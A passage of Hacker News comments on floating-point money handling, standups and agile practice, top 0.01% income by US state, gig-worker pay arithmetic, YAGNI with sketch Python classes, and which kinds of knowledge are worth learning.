Both of those are right in the test cases above, and I believe in all other cases (well, all other cases where everything is positive...). For Python I've done brute force testing of all combinations of amount = 0.01 to 25.00 in steps of 0.01 and rate = 0.0001 to 1.0000 in steps of 0.0001 to verify that.<p>I've also done a brute force C test that involved sscanf(..., "%lf",...) of strings of the form "0.ddd...ddd" where the 'd' are decimal digits, and there are up to 9 of them. In all cases multiplying the resulting double by 10^k, where k is the number of digits after the decimal point and called round() on that gave the correct integer. Assuming that Python, PHP, etc., are using IEEE 754 when they do floating point, the results should be the same in all of those, which is why I believe that tax_f4 and tax_f5 should work for all cases, not just the ones I actually tested in the Python brute force test.<p>I did another C test, over the same range as the sscanf test, to verify that given an integer I, in the range [0, 10^k] for positive k up to 9, if you computer (double)I/10^k, then multiply that by 10^k and round(), you get back I.<p>My conclusions (assuming IEEE 754 or something that behaves similarly):<p>1. It is OK to store money values and tax rates in floating point, at least as long as you have 9 or fewer digits after the decimal point. Just avoid doing calculations in this form.<p>2. Converting from a floating point representation to an integer x 10^k representation by doing a floating point multiply by 10^k and a round to nearest integer works, at least as long as k <= 9.<p>3. sscanf '%lf', and I expect most reasonable string to float parsers, if applied to a floating point number of the form 0.ddd... with up to 9 digits after the decimal point, will work as expected, in the sense that they will give you a floating point number that when converted to integer x 10^k representation as described in #2 will give you the integer you expect and want.<p>4. I did not do any tests of floating point amounts that had large integer parts. With a large enough integer part, the places where I mention k <= 9 above might need to have that 9 lowered.<p>[1] e.g., in PHP:<p><pre><code> function cents_to_dollars($cents)
{
$cents = strval($cents);
while (strlen($cents) < 3)
$cents = '0' . $cents;
return substr($cents,0,strlen($cents)-2) . '.' . substr($cents,-2);
}</code></pre> |
Signaling in tech is some fucked up shit (2016) | I dunno, to me the whole 'abc coders are xyz' is a heuristic. I value curiosity and I find that devs that are solid at a wide variety of paradigms often get there through curiosity. So if someone tells me they are learning Clojure/Haskell/Scheme/Racket/OCaml/Br<i></i>nfuck/Scala/Smalltalk/etc I'll think that's interesting and wonder what made them decide to learn the language. Without further information it's a safe guess that they are curious and enjoy learning new things/challenging themselves, things that I think are cool to do. And people who do cool things are often times cool people.<p>But Daiyi's main point isn't that abc coders aren't xyz, but rather that <i>other people</i> are also xyz, and that if an efg coder becomes an abc coder and are found to be xyz then they were probably xyz back when they were efg before becoming abc coders.<p>And this point should be well taken. There is a common trend that analytic subjects contribute more value than artistic subjects. This, in part, is due to the phenomenon that analytic subjects have values that are easier to calculate (...analytically, whence this is somewhat circular) while artistic subjects have effects that must be evaluated more subjectively. A coder works for a week and adds a new feature which increases marketability. A painter works for a week and produces a painting that may eventually sell for $500 in a couple years. But this undervalues the painter---the effect of arts on a society is more than their retail value.<p>I think this in part describes why web devs/front end engineers are socially valued less than coders in the development community. Their contributions are harder to quantify and the problems that they solve are more diffuse and subjective. This leads to "it's hard to quantify an efg coder's contribution" being conflated with "efg coders contribute less".<p>But this is BS---I have yet to come across anything that isn't both an art and a science if done correctly. In fact, this thought lead me to my own answer to one of the great philosophical questions of the ages: "what is art?": I contend that art is anything done well.<p>And as a computer scientist with a prior life as a musician I can assure you that there is plenty of 'calculation' that goes into the arts. Sometimes this is explicit. For instance, say that I have a closed voicing CFA (closed voicing means everything is close together) and they are moving to B?G that will then move to CEG. What do I want to replace `?` with? Well we don't want F to move down (we try to avoid parallel motion, this can be thought of as a sort of axiom) so F must either remain fixed (oblique motion) or go up (contrary motion). We also don't want voices to cross (while voice crossing is less taboo than parallel motion it is still often avoided, and our adherence to this restriction makes our problem much easier). Since we are working with a closed voice we have two (diatonic) choices: we can double the G or stay fixed on F. Doubling the G is boring but staying on F creates dissonance (B to F is a b5 and F to G is a M2). Luckily this dissonance is nicely resolved by the subsequent voicing and we win music! Yay!<p>Notice something? This is just a constraint system! But rather than solving a SAT formula we are adding in some subjective data to consider as well. I like to phrase this as "In math, `1 + 2 + 3 = 6` while in music, `C + E + G = happy`".<p>These calculations can also be done implicitly: say I'm taking a break over some jazz tune and I'm hitting a turn around, a ii-V7-i. I have a vague notion that I want to hit the "Billie Holiday special" (<a href="https://youtu.be/KUCyjDOlnPU?t=2m59s" rel="nofollow">https://youtu.be/KUCyjDOlnPU?t=2m59s</a>) at the end of my break (a melodic 5-2-1 with a slight scoop up to the 2 which falls back to the 1). I'm in the key of Bb and I want to play this around the tonic at the 8th fret of my D string. Right now I'm in the upper area of the neck and about to change to the ii chord which holds for two beats. I want to leave a pause over the V chord to make the tag more interesting, so I have exactly two beats to get from where I am to where I want to go, and I have to quickly 'calculate' this transition in real time. This is, of course, very natural since I've been playing for most of my life, and the 'calculation' is more of a feeling than an explicit mental exercise. But underneath the hood there is a shitload of precomputation that I did, practicing similar harmonic and melodic situations, honing my instincts, expanding my ear, studying theory, etc. I have just, in real time, solved a complicated constraint problem in front of a room full of people. And they are all cheering for me! See? People love math!<p>I'm sure I don't have to argue the reverse direction on this site (namely that coding/engineering/mathematics/etc are all forms of art) so I'll omit this.<p>All this is to say that the distinction between the artists and scientists is very blurry. I won't go so far as to argue that it doesn't exist since it clearly does. But when I try to figure out what that distinction is I find a number of qualitative differences but nothing quantitative. |
You don’t need standups | I'm having a hard time agreeing with a lot of the points being made (I mostly skimmed but also read some parts).<p>The conclusion is relatively sound though: the default agile approach (sprints, standups, planning, grooming, retro) is only a base to start working on a software development project. The team members should optimize it or even throw it out if it works for them.<p>- Daily standups are a <i></i>tool<i></i> for coordinating teams.<p>- Weekly planning is a <i></i>tool<i></i> for iteratively communicating about the progress being done, steering the team and discussing priorities<p>- Retrospectives are a <i></i>tool<i></i> as well; a quorum regarding what goes well and what should be improved.<p>In a well functioning team, you will always need coordination/communication, progress visibility, continuous improvements, etc.<p>I picked 2 red flags in how this junior product manager approaches their work:<p>- the team did not discuss estimations<p>- he told his boss the team will deliver after 3 months<p>Basically he just "winged it" for his first project, picked a waterfall approach, and made it. Congrats! That tells me he either has a kick ass team (thank them) or the deliverable was easily achievable (thank the boss), or more likely a bit of both.<p>Let's take a few of the points being made throughout the post:<p>> <i>Trello (or whatever you use) has to be kept in sync with what’s discussed in these meetings. It often isn’t. As the team grows this becomes even more complicated.</i><p>This is spot on. Using a tool to keep in sync is only useful if the members keep it up to date. If the tool is not up to date, the team either has a tool problem or a people problem.<p>> <i>Stand-ups ENCOURAGE plans to change daily. Lack of consistency is a great way to ruin developer flow.</i><p>I strongly disagree there. Nothing, in each team member speaking daily, for less than 2 minutes, about what they are working on, encourages change of plans.<p>When the author mentions standups routinely lasting 30+ minutes... well yeah either fix it the soft way (time limit + a judge making sure everybody stays on point) or the hard way (just stop doing standups & send updates through a different channel).<p>What I've seen is that there are usually 2 team members that come with the 'authority' to make for a great standup: the product owner (in this case our author) or the tech lead (well, seems it's the author again, as a technical. prod. owner?).<p>> <i>Standup forces every team member to be productive at a set place and a set time</i><p>Yes it can be a problem. That could possibly be reason #1 to get rid of standups. We're lucky in our remote team that everybody is happy starting the day at 9am as standups mid or end of day make not much sense.<p>> <i>Extroverts thrive at stand-ups, planning, and retros. It’s no wonder that tech debt is such a common problem. Developers shouldn’t have to PUSH for tech debt to be addressed. Teams should operate at a sustainable pace.</i><p>Again, it sounds like standups are being used for the wrong thing. The standup is at 90% a 'passive' communication tool. Listen to the others carefully. Wait for the standup to be finished and FREE PEOPLE FROM THE MEETING to catch up with whomever you want on whichever subject you want.<p>> <i>Why do we encourage problems to be discussed once a week? We should address them immediately, not just at retros.</i><p>Absolutely, problems that can and should be addressed on the spot MUST be addressed on the spot or taken ownership of by a lead and then addressed timely.<p>However that approach does not catch everything. Retrospectives are an excellent way to make sure people can flag issues. It is natural that, in the week, someone will be too busy to immediately flag an issue, but make a note of what could be improved. A regular open quorum dedicated to these things helps share these details.<p>There are 2 critical elements to successful retrospectives:<p>- trust that everybody can speak up about the most minute detail. Be open about anything that is being said. Leave the ego out.<p>- trust that what is said is genuinely acted upon. Track improvement and suggestions and ADDRESS THEM. In software development, if you see a bug, you create a regression test and then fix the bug. Well, tske the same approach!<p>> <i>Sprints encourage iterative development. This sounds really good to people like me who strongly advocate small, concise, pull requests over long-living feature branches. But it’s not the same thing. Sprints encourage features over tech debt. How often have you had to advocate spending an entire sprint tackling tech debt?</i><p>I'm eluded by the fact that sprints encourage features over tech debt. It seems that the source of the friction with sprints is not the sprint itself but how it is being used.<p>Addressing tech debt is part of any new feature. There should be no 'tech debt' in a sprint. DO NOT address tech debt that does not fix a bug(s) or help new a new feature though. It can be useful to write a list of hot spots, for communication and reminder purposes..<p>For each new feature, the team has many choices for the implementation: from complete hack to full refactor. A constant balance goes a long way, with the occasional 'that is needed in a week' and 'we need to refactor A to K before we do feature XYZ'. These are healthy events in a team that care a lot about delivering the most business value through solid software.<p>> <i>That said, I’m not against planning, I’m against planning on an interval.</i><p>Fair point. Planning on an interval brings a few things on the table:<p>- it sets a cadence. Some people love stability. Regular planning can be an anchor to someone's organization of their work.<p>- it allows measuring velocity and therefore longer term planning through past velocity.<p>- it allows reprioritization sprint after sprint. Usually the product owner role is to gather clients' needs. These needs evolve both with new features and time. Rather than re-prioritizing on the spot (like it seems it was being done at the author's previous projects), it is a compromise between constantly shuffling around what developers do and being flexible about what is being built.<p>In my modest experience, all of these are very useful tools :) |
How much you have to earn to be in the top 0.01% in every US state | To save you scrolling -<p>=== Alabama<p><pre><code> - Annual income required to be in the top 0.01 percent: $4.74 million
- Average annual income of the top 0.01 percent: $12.20 million
</code></pre>
=== Alaska<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.30 million
- Average annual income of the top 0.01 percent: $12.03 million
</code></pre>
=== Arizona<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.93 million
- Average annual income of the top 0.01 percent: $16.10 million
</code></pre>
=== Arkansas<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.34 million
- Average annual income of the top 0.01 percent: $26.04 million
</code></pre>
=== California<p><pre><code> - Annual income required to be in the top 0.01 percent: $12.89 million
- Average annual income of the top 0.01 percent: $45.39 million
</code></pre>
=== Colorado<p><pre><code> - Annual income required to be in the top 0.01 percent: $8.74 million
- Average annual income of the top 0.01 percent: $25.1 million
</code></pre>
=== Connecticut<p><pre><code> - Annual income required to be in the top 0.01 percent: $19.5 million
- Average annual income of the top 0.01 percent: $70.2 million
</code></pre>
=== Delaware<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.71 million
- Average annual income of the top 0.01 percent: $15.23 million
</code></pre>
=== Washington, D.C.<p><pre><code> - Annual income required to be in the top 0.01 percent: $13.69 million
- Average annual income of the top 0.01 percent: $43.13 million
</code></pre>
=== Florida<p><pre><code> - Annual income required to be in the top 0.01 percent: $12.03 million
- Average annual income of the top 0.01 percent: $45.17 million
</code></pre>
=== Georgia<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.74 million
- Average annual income of the top 0.01 percent: $18.62 million
</code></pre>
=== Hawaii<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.28 million
- Average annual income of the top 0.01 percent: $14.91 million
</code></pre>
=== Idaho<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.57 million
- Average annual income of the top 0.01 percent: $15.5 million
</code></pre>
=== Illinois<p><pre><code> - Annual income required to be in the top 0.01 percent: $10.45 million
- Average annual income of the top 0.01 percent: $34.18 million
</code></pre>
=== Indiana<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.2 million
- Average annual income of the top 0.01 percent: $13.39 million
</code></pre>
=== Iowa<p><pre><code> - Annual income required to be in the top 0.01 percent: $4.86 million
- Average annual income of the top 0.01 percent: $12.27 million
</code></pre>
=== Kansas<p><pre><code> - Annual income required to be in the top 0.01 percent: $7.2 million
- Average annual income of the top 0.01 percent: $21.52 million
</code></pre>
=== Kentucky<p><pre><code> - Annual income required to be in the top 0.01 percent: $4.76 million
- Average annual income of the top 0.01 percent: $13.68 million
</code></pre>
=== Louisiana<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.3 million
- Average annual income of the top 0.01 percent: $13.88 million
</code></pre>
=== Maine<p><pre><code> - Annual income required to be in the top 0.01 percent: $3.63 million
- Average annual income of the top 0.01 percent: $7.98 million
</code></pre>
=== Maryland<p><pre><code> - Annual income required to be in the top 0.01 percent: $7.45 million
- Average annual income of the top 0.01 percent: $19.60 million
</code></pre>
=== Massachusetts<p><pre><code> - Annual income required to be in the top 0.01 percent: $14.53 million
- Average annual income of the top 0.01 percent: $50.74 million
</code></pre>
=== Michigan<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.4 million
- Average annual income of the top 0.01 percent: $19.25 million
</code></pre>
=== Minnesota<p><pre><code> - Annual income required to be in the top 0.01 percent: $8.11 million
- Average annual income of the top 0.01 percent: $23.13 million
</code></pre>
=== Mississippi<p><pre><code> - Annual income required to be in the top 0.01 percent: $3.4 million
- Average annual income of the top 0.01 percent: $7.93 million
</code></pre>
=== Missouri<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.72 million
- Average annual income of the top 0.01 percent: $20.95 million
</code></pre>
=== Montana<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.77 million
- Average annual income of the top 0.01 percent: $16.42 million
</code></pre>
=== Nebraska<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.28 million
- Average annual income of the top 0.01 percent: $17 million
</code></pre>
=== Nevada<p><pre><code> - Annual income required to be in the top 0.01 percent: $10.68 million
- Average annual income of the top 0.01 percent: $43.99 million
</code></pre>
=== New Hampshire<p><pre><code> - Annual income required to be in the top 0.01 percent: $8.04 million
- Average annual income of the top 0.01 percent: $24.96 million
</code></pre>
=== New Jersey<p><pre><code> - Annual income required to be in the top 0.01 percent: $10.79 million
- Average annual income of the top 0.01 percent: $29.77 million
</code></pre>
=== New Mexico<p><pre><code> - Annual income required to be in the top 0.01 percent: $3.8 million
- Average annual income of the top 0.01 percent: $9.52 million
</code></pre>
=== New York<p><pre><code> - Annual income required to be in the top 0.01 percent: $17.42 million
- Average annual income of the top 0.01 percent: $69.49 million
</code></pre>
=== North Carolina<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.06 million
- Average annual income of the top 0.01 percent: $17.04 million
</code></pre>
=== North Dakota<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.7 million
- Average annual income of the top 0.01 percent: $16.39 million
</code></pre>
=== Ohio<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.64 million
- Average annual income of the top 0.01 percent: $15.22 million
</code></pre>
=== Oklahoma<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.52 million
- Average annual income of the top 0.01 percent: $19.83 million
</code></pre>
=== Oregon<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.96 million
- Average annual income of the top 0.01 percent: $16.15 million
</code></pre>
=== Pennsylvania<p><pre><code> - Annual income required to be in the top 0.01 percent: $7.82 million
- Average annual income of the top 0.01 percent: $24.28 million
</code></pre>
=== Rhode Island<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.28 million
- Average annual income of the top 0.01 percent: $17.54 million
</code></pre>
=== South Carolina<p><pre><code> - Annual income required to be in the top 0.01 percent: $4.65 million
- Average annual income of the top 0.01 percent: $11.22 million
</code></pre>
=== South Dakota<p><pre><code> - Annual income required to be in the top 0.01 percent: $7.83 million
- Average annual income of the top 0.01 percent: $22.6 million
</code></pre>
=== Tennessee<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.67 million
- Average annual income of the top 0.01 percent: $20.33 million
</code></pre>
=== Texas<p><pre><code> - Annual income required to be in the top 0.01 percent: $9.85 million
- Average annual income of the top 0.01 percent: $31.31 million
</code></pre>
=== Utah<p><pre><code> - Annual income required to be in the top 0.01 percent: $7.43 million
- Average annual income of the top 0.01 percent: $22 million
</code></pre>
=== Vermont<p><pre><code> - Annual income required to be in the top 0.01 percent: $5.33 million
- Average annual income of the top 0.01 percent: $14.34 million
</code></pre>
=== Virginia<p><pre><code> - Annual income required to be in the top 0.01 percent: $7.47 million
- Average annual income of the top 0.01 percent: $20.71 million
</code></pre>
=== Washington<p><pre><code> - Annual income required to be in the top 0.01 percent: $10.27 million
- Average annual income of the top 0.01 percent: $35.11 million
</code></pre>
=== West Virginia<p><pre><code> - Annual income required to be in the top 0.01 percent: $2.95 million
- Average annual income of the top 0.01 percent: $6.57 million
</code></pre>
=== Wisconsin<p><pre><code> - Annual income required to be in the top 0.01 percent: $6.68 million
- Average annual income of the top 0.01 percent: $19.64 million
</code></pre>
=== Wyoming<p><pre><code> - Annual income required to be in the top 0.01 percent: $15.05 million
- Average annual income of the top 0.01 percent: $74.30 million</code></pre> |
The financial mistakes behind why a startup laid off 400 employees overnight | I read this and then the comments. A fundamental take away of many is that switching from contractors to employees was wrong. I think it was right, but the way they did it was wrong. They could have done the shift slower, planned better, and not have had as many problems.<p>The gig economy done right is a great idea. Right being fair to both the contractor and the employer. Problem is, I almost never see it done right. Instead, I see gig economy workers being taken advantage of left and right.<p>Let's take the middle of the pay, $13 per hour. For comparison, median pay for plumbers in 2017 was $20.17 per hour[1]. Figure 2080 paid hours in a year for a contractor for our purposes (that's no vacation). That's $27,040 per year gross. Now let's adjust that to reality (i.e., net spendable income). For ease, I'll round to the nearest whole dollar.<p>First, taxes. $27,040 puts the person squarely in the 12% federal income tax bracket. Remember we are assuming fresh out of college, not married. Social security self-employment tax was 12.4% is 2017. Medicare self-employment tax was 2.9% in 2017. Let's assume they live in a state that levies income tax (excludes WA, NV, WY, SD, TX, AK, FL), but they live in PA, one of the lowest tax rates at 3.07% in 2018. Let's also assume no deductions for ease (unrealistic, but I am not a tax accountant). So that's a total tax levy of 12%+12.4%+2.9%+3.07%=30.37%, bringing us down to $18,828.<p>Second, healthcare. You can't say that this is for people with insured spouses, so healthcare is hand-waived. Instead, healthcare.gov defines affordable health care at 9.56% of salary. Typically an employer pays two-thirds the cost of the health care plan, so let's say 28.68% and round up to 30% because insurance companies charge more for individuals (could easily be more than ~2% extra, but lets go with that). That's 30% of the initial gross, not our after taxes figure, so a cost of $8112, bringing us down to $10,715. That's $206 a week, or $893 a month, to cover rent, food, transportation, internet costs (digital remote worker), and clothing.<p>To put that into perspective, it's $1425 below the 2018 Federal Poverty Level for an individual: $12,140. Some agencies compare the FPL to before taxes, some after taxes, but it's still almost $1500 below the FPL.<p>Another thing is that gig economy workers are often asked to shoulder costs that would have been the responsibility of an employer, forcing some gig workers to work crazy hours or in crazy conditions[2]. In Zirtual's case, gig workers could have been paying for their computers, internet, and any software when they were contractors.<p>When you are a contractor you need to be making 160% of what you would if you were an employee, to cover insurance, increased taxes, and expenditures that now come out of your pocket. You also shouldn't be charging at a dollar rate, as it's an accounting nightmare and lends itself to some clients (or gig economy startups) nickel & diming you or micromanaging your time.<p>Instead, charge a flat weekly fee based on assuming each week you'll work 36 hours on client work, 10+ hours on business marketing and administration, and that you'll take a two week vacation. So let's say as a fresh college grad I want to make the equivalent of if I was an employee making $45k per year. That means I need to gross $72k. Dividing that by 2000 hours to allow for two weeks vacation, I need to make $36 per hour. Remember that you have to assume you are only going to get 36 billed hours, so multiply that by 40/36, which handily works out to $40 per hour (I swear I did not plan that). Now multiply that by 40 to get a rate of $1600 per week. That's not contributing anything to your retirement or emergency fund (yes, you should start right out of college - I didn't and regret it mightily). Especially if you are a contractor, you must have a enough in an emergency fund to last you 2 months without pay. So add to your emergency fund, taking it to a weekly charged rate of $1760, until your emergency fund is 2 months. Put any windfalls (tax refunds, gift checks, etc.) into that emergency fund until it is up to two months of pay, and hopefully it will be there by the end of a year. Two years is more realistic.<p>If you are a more experienced contractor, things get wonky at the $128k level, because social security not longer applies and retirement stuff is different. If you are a contractor on the side (make sure your employer's IPR agreement allows this, or get a explicit written statement allowing it), you can probably charge 120-140% of what you want to make from your contracting work.<p>Make sure your employer's work comes first though, or you will find yourself out of a job. That also assumes you work for 'Big Corp', not a startup at the ground floor. If you work for a startup and you have non-trivial equity, you are working for yourself and should be pouring everything into the startup.<p>The cost of living comfortably relative to the average income in the U.S. seems to me to be higher now than it's ever been in my lifetime (50 years). One estimate in 2012 says it took $150k to live comfortably in the U.S. then, and it seems to have gotten worse since[3].<p>I am not an accountant, a lawyer, a doctor, and you should not construe any of the above as legal, accounting, or medical advice.<p>[1] <a href="https://www.payscale.com/research/US/Job=Plumber/Hourly_Rate" rel="nofollow">https://www.payscale.com/research/US/Job=Plumber/Hourly_Rate</a><p>[2] <a href="https://philadelphiapartisan.com/2018/05/17/the-perilous-gig-economy-why-caviar-must-pay-for-bike-couriers-death/" rel="nofollow">https://philadelphiapartisan.com/2018/05/17/the-perilous-gig...</a><p>[3] <a href="https://www.businessinsider.com/the-basic-annual-income-every-american-would-need-is-150000-2012-3" rel="nofollow">https://www.businessinsider.com/the-basic-annual-income-ever...</a> |
Yagni (2015) | I think coherency of implementation is a lot more important than YAGNI. For example:<p><pre><code> class Car:
def honk(self):
print('Honk!')
</code></pre>
Cool, now we have a car, but it only honks. But we only needed it to honk, so that's fine.<p><pre><code> class RoadTrip:
def __init__(self, car, destination):
self.car = car
def go(self):
self.car.start()
self.car.drive_to(destination)
</code></pre>
Oh no, we built a car but it does nothing that a car does. Let's add this functionality.<p><pre><code> class Car:
def __init__(self):
self.started = False
self.gps = []
self.location = cool_app.get_current_location()
def honk(self):
print('Honk!')
def start(self):
self.started = True
@property
def location(self):
return self.gps[-1]
@location.setter
def location(self, new_location):
self.gps.append(location)
def drive_to(self, location):
self.location = location
</code></pre>
Super easy. Except a different user of our library implemented this functionality already for a different reason, but in a different way.<p><pre><code> class CarEngine:
def __init__(self, car):
self.car = car
self.started = False
def start(self):
if self.started:
raise Exception('Already started!')
self.started = True
def turn_off(self):
if not self.started:
raise Exception('Not started!')
self.started = False
class CarGasTank(self, car):
def __init__(self, gallons):
self.car = car
self.capacity = gallons
self.level = gallons
@property
def empty(self):
return self.level == 0
class MotorCar:
def __init__(self, engine, gas_tank, mpg, location):
self.engine = engine
self.gas_tank = gas_tank
self.location = location
self.mpg = mpg
@property
def started(self):
return self.engine.started
def start(self):
return self.engine.start()
def drive_to(self, location):
distance = location - self.location
fuel_required = distance / self.mpg
if fuel_required > self.gas_tank.gallons:
raise Exception('Not enough gas!')
self.gas_tank.gallons -= fuel_required
self.location = location
</code></pre>
I've lost count of the number of times I've seen stuff like this. Sometimes the original implementation is in a different library that's hard to change. Sometimes other code rely on specific details of the original implementation so changing it requires changing that code too. Sometimes additions seem "out of scope" so they are actively pushed to dependencies.<p>It might feel like this is a process problem -- like there should have been better upfront design or communication -- but these "failure cases" are actually the success cases for code. You want code to rely on your libraries. You want to consider all users of your libraries when making changes.<p>The problem is actually YAGNI, because that mentality encourages us to churn out big, incoherent bags of functions when we should be thinking about code responsibilities and designing whole systems.<p>You can see this in action with JavaScript most infamously. Its standard library is extremely YAGNI, and it led to whole new programming languages being built on top of it because it was so anemic. The complexity has to live somewhere, and if you don't deal with it in a coherent and orthogonal way, someone else will have to deal with it and their options will be a lot more limited than yours.<p>Following simple mantras like DRY, YAGNI, and whatever else fits on a poster is the surest way to mess up your design. It requires thoughtfulness and experience, and there are no shortcuts. |
Ask HN: What types of knowledge are worth knowing? | Depends what you want to achieve with that knowledge.<p>What I do care about is things in direct persuit of goals I wish to achieve. I like building things, so naturally I graviate towards the following:<p>- web & software development<p>- math<p>- computer science<p>This isn't to say I just learn those topics only. There are a number of other fields that do not directly correlate to those topics, but the insight you gain from it is beneficial. Things like music & music theory are a good example, which ties into math.<p>Whenever I think of what is "worth" knowing I like to think of the Valve New Employee Handbook. There's a diagram called "T-shaped" people based on Team Fortress 2<p>Its on page 47 here. <a href="https://steamcdn-a.akamaihd.net/apps/valve/Valve_NewEmployeeHandbook.pdf" rel="nofollow">https://steamcdn-a.akamaihd.net/apps/valve/Valve_NewEmployee...</a><p>Essentially, it states a person should have a large breath of knowledge of many topics, but should have a specific depth of few related topics. Because people naturally seek others with specializations, but you need to understand other perspectives other than your own.<p>In this same example, my model "T" based model on the shallow side looks like thusly. Each of these shallow concepts complement the other "core" skillsets as well<p>------------------------------------------------------------------<p>- Welding & Woodworking & 3D modeling - It helps to know how to build something with your own hands, there will come a time where you will need this. It makes you realize that sometimes the best solutions are just hardware-based, you don't need software<p>- Understanding of how other industries work on a business-level, because the knowledge is applicable anywhere. I do business case studies almost everyday, industries include healthcare, nonprofit, education, restaurants, tech, startups, service-based companies, oil & gas, simulation based training, 3PL logistics, real estate, history, among many others. Knowing how other industries work gives you a wide variety of tools to work with, because many times solutions in one industry overlap with others.<p>- Fixing things. I do my own plumbing and do my own car maintenance many times. It relates to software development by having you getting used to knowing how to work with other existing systems, and familiarzing yourself with technical documentation across many things include reading AWS docs etc<p>- Cooking. Knowing how to cook properly highlights the importance of following directions properly before you mix up your own changes. You can't build that amazing recipe until you've made the base version, and done A/B testing for flavor enhancements. You can draw analogies to software A/B testing as well<p>- Art. Knowing how to draw helps you highlight the importance of sticking to one convention. Much like coding, you don't want to change your styleguides down the road. You need to know what type of art you are making - is it building design using vanishing points, or something more freeform like a portrait design? Its all about setting requirements and executing skillfully<p>- Playing Musical Instruments. Music is important in teaches you discipline. Unless you practice it everyday much like programming, you end up losing the ability to play it well. There's other analogies to draw here as well, related to math.<p>- Fighting. I did Brazilian Jiu Jitsu and Muay Thai. Its all about perspective and quick analysis when fatigued. You learn how you perform in times or stress because your getting clocked in the face
in a jab. You learn about paralysis analysis pretty quickly here, and learn about project management practices as a result<p>- Video Games. I learned alot of things growing up here. What it taught me related to my main interest is how many different perspectives go in making a final product. There's storyboarding, art, design, QA testing, programming, and much more. Software development is more or less the same, storyboarding is userstories, art is UX, design is frontend, QA is unit testing/CI, programming is backend. It might not be 1:1 but you get the point<p>- TV Shows / Animes / Fiction. You can learn a lot of life lessons here as well, assuming the plotline is realistic and believable. The military actually recommends the fiction novel "Enders Game" as part of its reading list for good reasons. <a href="https://www.businessinsider.com/commandants-reading-list-2014-7#enders-game-by-orson-scott-card-4" rel="nofollow">https://www.businessinsider.com/commandants-reading-list-201...</a><p>------------------------------------------------------------------<p>There's many more fields you can draw analogies from. You gain wisdom learning many different fields, and have a larger "catalog" of things to pull from to know what is right and what is not.<p>Because you see so many things you'll just instantly know a lot of patterns. For instance, if you've tried hundreds of software packages, you'll know there is always a file menu bar uptop in every app. You'll know what the "window" pane for pane customization is usually always the 2nd to last option in many applications (adobe), and "help" is the last option here. The left pane is almost always some sort of folder tree structure pane for navigating on the larger scale. If its not its going to be a toolbar set instead.<p>If you learn adobe software suites, you'll know things like affinity designer , sketch, etc are all based on the same sort of UX layout, but different. Artboards will make sense, export personas, etc. If you learn one CAD package like CATIA,SolidWorks is simple to understand. The underlying logic is the same, and you realize its just applications of linear algebra.<p>Learning many fields makes learning other fields easier.<p>When you learn many fields you recognize the most important metrics that matter. You'll look at an item, and see many use cases that others don't see. A good example of this is an XBOX controller. You can buy a simulation military grade controller for 1000xs that price, or an XBOX controller for military controls. You can buy shelving, or buy cheaper shelving used at restaurants that do the same thing. You can make pasta and bread using a powerdrill with specialized attachments for 10xs less whatever it cost at stores. Because it runs the same type of motor. You can use a restaurant ticket rail as a paper holder. You can fix a coffee maker with inverter issues by turning on a blender because its windings increases inductance of the circuit the kitchen applies, filtering out higher frequencies used by a cheap inverter <i>pulled from a hackernews comment</i>.<p>------------------------------------------------------------------<p>You start to see how some items can be used in multiple applications. These include things like magnets, zipties, 10 different types of tape <i>(industrial double side sticky tape, friction, gaffer, painters, magnetic washboard, ruler, duct, scotch, packing, note-colored tape)</i> pinederby weights, cardboard, paracord, plastic bags etc. A good example is in First Robotics (e.g. students who compete in high school robotics), metal tape measurers are commonly used as a pole extension arm due to the fact you can use actuate it with just a gear pulley and still withstand its shape. You don't see items anymore as simply just what they are at face value, but rather by their functional properties (stick things together, store things) instead and meta data (weight, size, etc).<p>You start to see how some software has many types of applications. Another example is a macro app I use called phrase-express (similar to autohotkey / applescript). Its used to transcribe medical data entry correctly. But its used in so many other ways of automating, I use it to automatically write code snippets, screenshot things, text macros, etc. I use my bookmarking tool (pinboard) as a text backup of long posts I make, since it points to the right URL. I CTRL+A, CTRL+C to save documents via text-clip management tool called Ditto. I turn on captions on youtube videos all the time, so I can "speed-read" the video at 2 to 16xs playback speed, depending on content complexity and what I hope to get out of it.<p>You also realize that sometimes people use a piece of software for many unintended uses. In videogames, sometimes these bugs become features <i>super smash bros & iframes, street-fighter and block cancellation, speedrunning</i>. Another good example is the omnibar on the browser, that was not its intended use for using it as a google search. People will find to make things work for them as best they can. People will make full blown SaaS solutions with just excel, since that's all they know how to use.<p>You also realize the power of good formatting and storytelling. Mostly from reading too much terrible fiction from terrible authors, but occasionally finding some authors who make masterpieces. You take those ideas, and bring it to your own writing.<p>You start to realize who is and who is not worth following as well. You start to see who shares the same mindset as you, even if you've never met them. This could be tiny bits of metadata on someones github repo, all the way to just what they put on their blog. Many companies naturally use this as part of their cultural fit and hiring processes.<p>------------------------------------------------------------------<p>As a result you are able to unique generate novel ideas that sometimes are better than anything you find off the shelf. Sometimes these ideas become plugins and extensions that many users use, othertimes it becomes a business that no one else has thought of that you end up doing instead. Because you already are familiar with so many things, you don't need to do any research. Competition is validation. You can filter out what is garbage advice and what is not. You've seen what works & what does not, its pure instinct now. You rely on your own set of experiences across many fields to make the assessments for you. You can instantly crowd source solutions to ideas on reddit, youtube, amazon etc, without ever asking anything, because its all there already. You learn when reinventing the wheel is a good thing and when its a bad thing.<p>Learning different fields is one of the fastest way to gain wisdom and experience to make better informed decisions |
